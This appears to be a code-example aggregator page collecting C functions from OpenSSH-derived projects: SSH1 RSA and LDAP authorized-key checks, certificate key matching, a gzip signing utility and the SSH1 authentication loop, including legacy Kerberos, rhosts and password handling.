int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
	char line[8192], *file;
	int allowed = 0;
	u_int bits;
	FILE *f;
	u_long linenum = 0;
	struct stat st;
	Key *key;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	/* The authorized keys. */
	file = authorized_keys_file(pw);
	debug("trying public RSA key file %s", file);

	/* Fail quietly if file does not exist */
	if (stat(file, &st) < 0) {
		/* Restore the privileged uid. */
		restore_uid();
		xfree(file);
		return (0);
	}
	/* Open the file containing the authorized keys. */
	f = fopen(file, "r");
	if (!f) {
		/* Restore the privileged uid. */
		restore_uid();
		xfree(file);
		return (0);
	}
	if (options.strict_modes &&
	    secure_filename(f, file, pw, line, sizeof(line)) != 0) {
		xfree(file);
		fclose(f);
		log("Authentication refused: %s", line);
		restore_uid();
		return (0);
	}

	/* Flag indicating whether the key is allowed. */
	allowed = 0;

	key = key_new(KEY_RSA1);

	/*
	 * Go though the accepted keys, looking for the current key.  If
	 * found, perform a challenge-response dialog to verify that the
	 * user really has the corresponding private key.
	 */
	while (fgets(line, sizeof(line), f)) {
		char *cp;
		char *options;

		linenum++;

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		/*
		 * Check if there are options for this key, and if so,
		 * save their starting address and skip the option part
		 * for now.  If there are no options, set the starting
		 * address to NULL.
		 */
		if (*cp < '0' || *cp > '9') {
			int quoted = 0;
			options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
		} else
			options = NULL;

		/* Parse the key from the line. */
		if (hostfile_read_key(&cp, &bits, key) == 0) {
			debug("%.100s, line %lu: non ssh1 key syntax",
			    file, linenum);
			continue;
		}
		/* cp now points to the comment part. */

		/* Check if the we have found the desired key (identified by its modulus). */
		if (BN_cmp(key->rsa->n, client_n) != 0)
			continue;

		/* check the real bits  */
		if (bits != BN_num_bits(key->rsa->n))
			log("Warning: %s, line %lu: keysize mismatch: "
			    "actual %d vs. announced %d.",
			    file, linenum, BN_num_bits(key->rsa->n), bits);

		/* We have found the desired key. */
		/*
		 * If our options do not allow this key to be used,
		 * do not send challenge.
		 */
		if (!auth_parse_options(pw, options, file, linenum))
			continue;

		/* break out, this key is allowed */
		allowed = 1;
		break;
	}

	/* Restore the privileged uid. */
	restore_uid();

	/* Close the file. */
	xfree(file);
	fclose(f);

	/* return key if allowed */
	if (allowed && rkey != NULL)
		*rkey = key;
	else
		key_free(key);
	return (allowed);
}
예제 #27
0
파일: sign.c 프로젝트: SylvestreG/bitrig
void
sign(int argc, char *argv[])
{
	struct key *key;
	char *gzipfile, tmppath[MAXPATHLEN];
	FILE *fin, *fout;
	int i, fd, error, qflag;

	qflag = 0;
	
	while ((i = getopt(argc, argv, "qvf:")) != -1) {
		switch (i) {
		case 'q':
			qflag = 1;
			break;
		case 'v':
			qflag = 0;
			break;
		case 'f':
			passphrase_file = optarg;
			break;
		default:
			sign_usage();
			exit(1);
		}
	}
	argc -= optind;
	argv += optind;

	if (argc < 1) {
		sign_usage();
		exit(1);
	}
	OpenSSL_add_all_algorithms();
	
	if ((key = key_new()) == NULL)
		fatal(1, "Couldn't initialize private key");
	
	if (key_load_private(key, argv[0]) < 0)
		fatal(1, "Couldn't load private key");
	
	if (argc == 1 || *argv[1] == '-') {
		argc = 0;
		
		if (embed_signature(key, stdin, stdout) == 0) {
			if (!qflag)
				fprintf(stderr, "Signed input\n");
		} else
			fatal(1, "Couldn't sign input");
	}
	for (i = 1; i < argc; i++) {
		gzipfile = argv[i];

		if ((fin = fopen(gzipfile, "r+")) == NULL) {
			fprintf(stderr,  "Error opening %s: %s\n",
			    gzipfile, strerror(errno));
			continue;
		}
		snprintf(tmppath, sizeof(tmppath), "%s.XXXXXX", gzipfile);
		
		if ((fd = mkstemp(tmppath)) < 0) {
			fprintf(stderr, "Error creating %s: %s\n",
			    tmppath, strerror(errno));
			fclose(fin);
			continue;
		}
		if ((fout = fdopen(fd, "w")) == NULL) {
			fprintf(stderr, "Error opening %s: %s\n",
			    tmppath, strerror(errno));
			fclose(fin);
			close(fd);
			continue;
		}
		if (copy_permissions(fileno(fin), fd) < 0) {
			fprintf(stderr, "Error initializing %s: %s\n",
			    tmppath, strerror(errno));
			fclose(fin);
			fclose(fout);
			continue;
		}
		error = embed_signature(key, fin, fout);
		
		fclose(fin);
		fclose(fout);

		if (!error) {
			if (rename(tmppath, gzipfile) < 0) {
				unlink(tmppath);
				fatal(1, "Couldn't sign %s", gzipfile);
			}
			if (!qflag)
				fprintf(stderr, "Signed %s\n", gzipfile);
		} else {
			unlink(tmppath);
			fatal(1, "Couldn't sign %s", gzipfile);
		}
	}
	key_free(key);
}
예제 #28
0
/*
 * Checks whether key is allowed in authorized_keys-format file,
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw)
{
	char line[SSH_MAX_PUBKEY_BYTES];
	int found_key = 0;
	u_long linenum = 0;
	Key *found;

	found_key = 0;

	found = NULL;
	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		char *cp, *key_options = NULL, *fp = NULL;
		const char *reason = NULL;

		/* Always consume entrire file */
		if (found_key)
			continue;
		if (found != NULL)
			key_free(found);
		found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
		auth_clear_options();

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		if (key_read(found, &cp) != 1) {
			/* no key?  check if there are options for this key */
			int quoted = 0;
			debug2("user_key_allowed: check options: '%s'", cp);
			key_options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
			/* Skip remaining whitespace. */
			for (; *cp == ' ' || *cp == '\t'; cp++)
				;
			if (key_read(found, &cp) != 1) {
				debug2("user_key_allowed: advance: '%s'", cp);
				/* still no key?  advance to next line*/
				continue;
			}
		}
		if (key_is_cert(key)) {
			if (!key_equal(found, key->cert->signature_key))
				continue;
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (!key_is_cert_authority)
				continue;
			if ((fp = sshkey_fingerprint(found,
			    options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
				continue;
			debug("matching CA found: file %s, line %lu, %s %s",
			    file, linenum, key_type(found), fp);
			/*
			 * If the user has specified a list of principals as
			 * a key option, then prefer that list to matching
			 * their username in the certificate principals list.
			 */
			if (authorized_principals != NULL &&
			    !match_principals_option(authorized_principals,
			    key->cert)) {
				reason = "Certificate does not contain an "
				    "authorized principal";
 fail_reason:
				free(fp);
				error("%s", reason);
				auth_debug_add("%s", reason);
				continue;
			}
			if (key_cert_check_authority(key, 0, 0,
			    authorized_principals == NULL ? pw->pw_name : NULL,
			    &reason) != 0)
				goto fail_reason;
			if (auth_cert_options(key, pw, &reason) != 0)
				goto fail_reason;
			verbose("Accepted certificate ID \"%s\" (serial %llu) "
			    "signed by %s CA %s via %s", key->cert->key_id,
			    (unsigned long long)key->cert->serial,
			    key_type(found), fp, file);
			free(fp);
			found_key = 1;
			break;
		} else if (key_equal(found, key)) {
			if (auth_parse_options(pw, key_options, file,
			    linenum) != 1)
				continue;
			if (key_is_cert_authority)
				continue;
			if ((fp = sshkey_fingerprint(found,
			    options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
				continue;
			debug("matching key found: file %s, line %lu %s %s",
			    file, linenum, key_type(found), fp);
			free(fp);
			found_key = 1;
			continue;
		}
	}
	if (found != NULL)
		key_free(found);
	if (!found_key)
		debug2("key not found");
	return found_key;
}
예제 #29
0
int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
	char *file;
	u_int i, allowed = 0;
 
	temporarily_use_uid(pw);

#ifdef WITH_LDAP_PUBKEY
	if (options.lpk.on) {
	    u_int bits;
	    int sbits;
	    ldap_key_t *k;
	    /* here is the job */
	    Key *key = key_new(KEY_RSA1);

	    debug("[LDAP] trying LDAP first uid=%s", pw->pw_name);
	    if ( ldap_ismember(&options.lpk, pw->pw_name) > 0) {
		if ( (k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) {
		    for (i = 0 ; i < k->num ; i++) {
			char *cp, *xoptions = NULL;

			for (cp = k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++)
			    ;
			if (!*cp || *cp == '\n' || *cp == '#')
			    continue;

			/*
			* Check if there are options for this key, and if so,
			* save their starting address and skip the option part
			* for now.  If there are no options, set the starting
			* address to NULL.
			 */
			if (*cp < '0' || *cp > '9') {
			    int quoted = 0;
			    xoptions = cp;
			    for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
				    cp++;	/* Skip both */
				else if (*cp == '"')
				    quoted = !quoted;
			    }
			} else
			    xoptions = NULL;

			/* Parse the key from the line. */
			if (hostfile_read_key(&cp, &sbits, key) == 0) {
			    debug("[LDAP] line %d: non ssh1 key syntax", i);
			    continue;
			}
			bits = sbits;
			/* cp now points to the comment part. */

			/* Check if the we have found the desired key (identified by its modulus). */
			if (BN_cmp(key->rsa->n, client_n) != 0)
			    continue;

			/* check the real bits  */
			if (bits != (unsigned int)BN_num_bits(key->rsa->n))
			    logit("[LDAP] Warning: ldap, line %lu: keysize mismatch: "
				    "actual %d vs. announced %d.", (unsigned long)i, BN_num_bits(key->rsa->n), bits);

			/* We have found the desired key. */
			/*
			* If our options do not allow this key to be used,
			* do not send challenge.
			 */
			if (!auth_parse_options(pw, xoptions, "[LDAP]", (unsigned long) i))
			    continue;

			/* break out, this key is allowed */
			allowed = 1;

			/* add the return stuff etc... */
			/* Restore the privileged uid. */
			restore_uid();

			/* return key if allowed */
			if (allowed && rkey != NULL)
			    *rkey = key;
			else
			    key_free(key);

			ldap_keys_free(k);
			return (allowed);
		    }
		} else {
		    logit("[LDAP] no keys found for '%s'!", pw->pw_name);
		}
	    } else {
		logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup);
	    }
	}
#endif

	for (i = 0; !allowed && i < options.num_authkeys_files; i++) {
		if (strcasecmp(options.authorized_keys_files[i], "none") == 0)
			continue;
		file = expand_authorized_keys(
		    options.authorized_keys_files[i], pw);
		allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey);
		free(file);
	}

	restore_uid();

	return allowed;
}
예제 #30
0
파일: auth1.c 프로젝트: andreiw/polaris
/*
 * read packets, try to authenticate the user and
 * return only if authentication is successful
 */
static void
do_authloop(Authctxt *authctxt)
{
	int authenticated = 0;
	u_int bits;
	Key *client_host_key;
	BIGNUM *n;
	char *client_user, *password;
	char info[1024];
	u_int dlen;
	u_int ulen;
	int type = 0;
	struct passwd *pw = authctxt->pw;

	debug("Attempting authentication for %s%.100s.",
	    authctxt->valid ? "" : "illegal user ", authctxt->user);

	/* If the user has no password, accept authentication immediately. */
	if (options.password_authentication &&
#if defined(KRB4) || defined(KRB5)
	    (!options.kerberos_authentication || options.kerberos_or_local_passwd) &&
#endif
	    PRIVSEP(auth_password(authctxt, ""))) {
		auth_log(authctxt, 1, "without authentication", "");
		return;
	}

	/* Indicate that authentication is needed. */
	packet_start(SSH_SMSG_FAILURE);
	packet_send();
	packet_write_wait();

	client_user = NULL;

	for ( ;; ) {
		/* default to fail */
		authenticated = 0;

		info[0] = '\0';

		/* Get a packet from the client. */
		authctxt->v1_auth_type = type = packet_read();
		authctxt->v1_auth_name = get_authname(type);

		authctxt->attempt++;

		/* Process the packet. */
		switch (type) {

#if defined(KRB4) || defined(KRB5)
		case SSH_CMSG_AUTH_KERBEROS:
			if (!options.kerberos_authentication) {
				verbose("Kerberos authentication disabled.");
			} else {
				char *kdata = packet_get_string(&dlen);
				packet_check_eom();

				if (kdata[0] == 4) { /* KRB_PROT_VERSION */
#ifdef KRB4
					KTEXT_ST tkt, reply;
					tkt.length = dlen;
					if (tkt.length < MAX_KTXT_LEN)
						memcpy(tkt.dat, kdata, tkt.length);

					if (PRIVSEP(auth_krb4(authctxt, &tkt,
					    &client_user, &reply))) {
						authenticated = 1;
						snprintf(info, sizeof(info),
						    " tktuser %.100s",
						    client_user);

						packet_start(
						    SSH_SMSG_AUTH_KERBEROS_RESPONSE);
						packet_put_string((char *)
						    reply.dat, reply.length);
						packet_send();
						packet_write_wait();
					}
#endif /* KRB4 */
				} else {
#ifdef KRB5
					krb5_data tkt, reply;
					tkt.length = dlen;
					tkt.data = kdata;

					if (PRIVSEP(auth_krb5(authctxt, &tkt,
					    &client_user, &reply))) {
						authenticated = 1;
						snprintf(info, sizeof(info),
						    " tktuser %.100s",
						    client_user);
 
 						/* Send response to client */
 						packet_start(
						    SSH_SMSG_AUTH_KERBEROS_RESPONSE);
 						packet_put_string((char *)
						    reply.data, reply.length);
 						packet_send();
 						packet_write_wait();

 						if (reply.length)
 							xfree(reply.data);
					}
#endif /* KRB5 */
				}
				xfree(kdata);
			}
			break;
#endif /* KRB4 || KRB5 */

#if defined(AFS) || defined(KRB5)
			/* XXX - punt on backward compatibility here. */
		case SSH_CMSG_HAVE_KERBEROS_TGT:
			packet_send_debug("Kerberos TGT passing disabled before authentication.");
			break;
#ifdef AFS
		case SSH_CMSG_HAVE_AFS_TOKEN:
			packet_send_debug("AFS token passing disabled before authentication.");
			break;
#endif /* AFS */
#endif /* AFS || KRB5 */

		case SSH_CMSG_AUTH_RHOSTS:
			if (!options.rhosts_authentication) {
				verbose("Rhosts authentication disabled.");
				break;
			}
			/*
			 * Get client user name.  Note that we just have to
			 * trust the client; this is one reason why rhosts
			 * authentication is insecure. (Another is
			 * IP-spoofing on a local network.)
			 */
			client_user = packet_get_string(&ulen);
			packet_check_eom();

			/* Try to authenticate using /etc/hosts.equiv and .rhosts. */
			authenticated = auth_rhosts(pw, client_user);

			snprintf(info, sizeof info, " ruser %.100s", client_user);
			break;

		case SSH_CMSG_AUTH_RHOSTS_RSA:
			if (!options.rhosts_rsa_authentication) {
				verbose("Rhosts with RSA authentication disabled.");
				break;
			}
			/*
			 * Get client user name.  Note that we just have to
			 * trust the client; root on the client machine can
			 * claim to be any user.
			 */
			client_user = packet_get_string(&ulen);

			/* Get the client host key. */
			client_host_key = key_new(KEY_RSA1);
			bits = packet_get_int();
			packet_get_bignum(client_host_key->rsa->e);
			packet_get_bignum(client_host_key->rsa->n);

			if (bits != BN_num_bits(client_host_key->rsa->n))
				verbose("Warning: keysize mismatch for client_host_key: "
				    "actual %d, announced %d",
				    BN_num_bits(client_host_key->rsa->n), bits);
			packet_check_eom();

			authenticated = auth_rhosts_rsa(pw, client_user,
			    client_host_key);
			key_free(client_host_key);

			snprintf(info, sizeof info, " ruser %.100s", client_user);
			break;

		case SSH_CMSG_AUTH_RSA:
			if (!options.rsa_authentication) {
				verbose("RSA authentication disabled.");
				break;
			}
			/* RSA authentication requested. */
			if ((n = BN_new()) == NULL)
				fatal("do_authloop: BN_new failed");
			packet_get_bignum(n);
			packet_check_eom();
			authenticated = auth_rsa(pw, n);
			BN_clear_free(n);
			break;

		case SSH_CMSG_AUTH_PASSWORD:
			authctxt->init_attempt++;

			if (!options.password_authentication) {
				verbose("Password authentication disabled.");
				break;
			}
			/*
			 * Read user password.  It is in plain text, but was
			 * transmitted over the encrypted channel so it is
			 * not visible to an outside observer.
			 */
			password = packet_get_string(&dlen);
			packet_check_eom();

			/* Try authentication with the password. */
			if (authctxt->init_failures <
				options.max_init_auth_tries)
				authenticated =
				    PRIVSEP(auth_password(authctxt,
						password));

			memset(password, 0, strlen(password));
			xfree(password);
			break;

		case SSH_CMSG_AUTH_TIS:
			debug("rcvd SSH_CMSG_AUTH_TIS");
			if (options.challenge_response_authentication == 1) {
				char *challenge = get_challenge(authctxt);
				if (challenge != NULL) {
					debug("sending challenge '%s'", challenge);
					packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE);
					packet_put_cstring(challenge);
					xfree(challenge);
					packet_send();
					packet_write_wait();
					continue;
				}
			}
			break;
		case SSH_CMSG_AUTH_TIS_RESPONSE:
			debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE");
			if (options.challenge_response_authentication == 1) {
				char *response = packet_get_string(&dlen);
				debug("got response '%s'", response);
				packet_check_eom();
				authenticated = verify_response(authctxt, response);
				memset(response, 'r', dlen);
				xfree(response);
			}
			break;

		default:
			/*
			 * Any unknown messages will be ignored (and failure
			 * returned) during authentication.
			 */
			log("Unknown message during authentication: type %d", type);
			break;
		}
#ifdef BSD_AUTH
		if (authctxt->as) {
			auth_close(authctxt->as);
			authctxt->as = NULL;
		}
#endif
		if (!authctxt->valid && authenticated) {
			authenticated = 0;
			log("Ignoring authenticated invalid user %s",
			    authctxt->user);
		}

#ifdef _UNICOS
		if (type == SSH_CMSG_AUTH_PASSWORD && !authenticated)
			cray_login_failure(authctxt->user, IA_UDBERR);
		if (authenticated && cray_access_denied(authctxt->user)) {
			authenticated = 0;
			fatal("Access denied for user %s.",authctxt->user);
		}
#endif /* _UNICOS */

#ifdef HAVE_CYGWIN
		if (authenticated &&
		    !check_nt_auth(type == SSH_CMSG_AUTH_PASSWORD, pw)) {
			packet_disconnect("Authentication rejected for uid %d.",
			pw == NULL ? -1 : pw->pw_uid);
			authenticated = 0;
		}
#else
		/* Special handling for root */
		if (!use_privsep &&
		    authenticated && authctxt->pw->pw_uid == 0 &&
		    !auth_root_allowed(get_authname(type)))
			authenticated = 0;
#endif
#ifdef USE_PAM
		/* XXX PAM and PRIVSEP don't mix */
		if (use_privsep && authenticated)
			fatal("Privsep is not supported");

		if (authenticated && type != SSH_CMSG_AUTH_PASSWORD)
			authenticated = do_pam_non_initial_userauth(authctxt);
		else if (authenticated && !AUTHPAM_DONE(authctxt))
			authenticated = 0;

		if (!authenticated)
			authctxt->pam_retval = AUTHPAM_ERROR(authctxt,
				PAM_PERM_DENIED);
#endif /* USE_PAM */

		/* Log before sending the reply */
		auth_log(authctxt, authenticated, get_authname(type), info);

		if (client_user != NULL) {
			xfree(client_user);
			client_user = NULL;
		}

		if (authenticated)
			return;

		if (type == SSH_CMSG_AUTH_PASSWORD)
			authctxt->init_failures++;

		if (authctxt->failures++ > options.max_auth_tries) {
#ifdef HAVE_BSM
			fatal_remove_cleanup(audit_failed_login_cleanup,
				authctxt);
			audit_sshd_login_failure(&ah, PAM_MAXTRIES);
#endif /* HAVE_BSM */
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
		}

		packet_start(SSH_SMSG_FAILURE);
		packet_send();
		packet_write_wait();
	}
}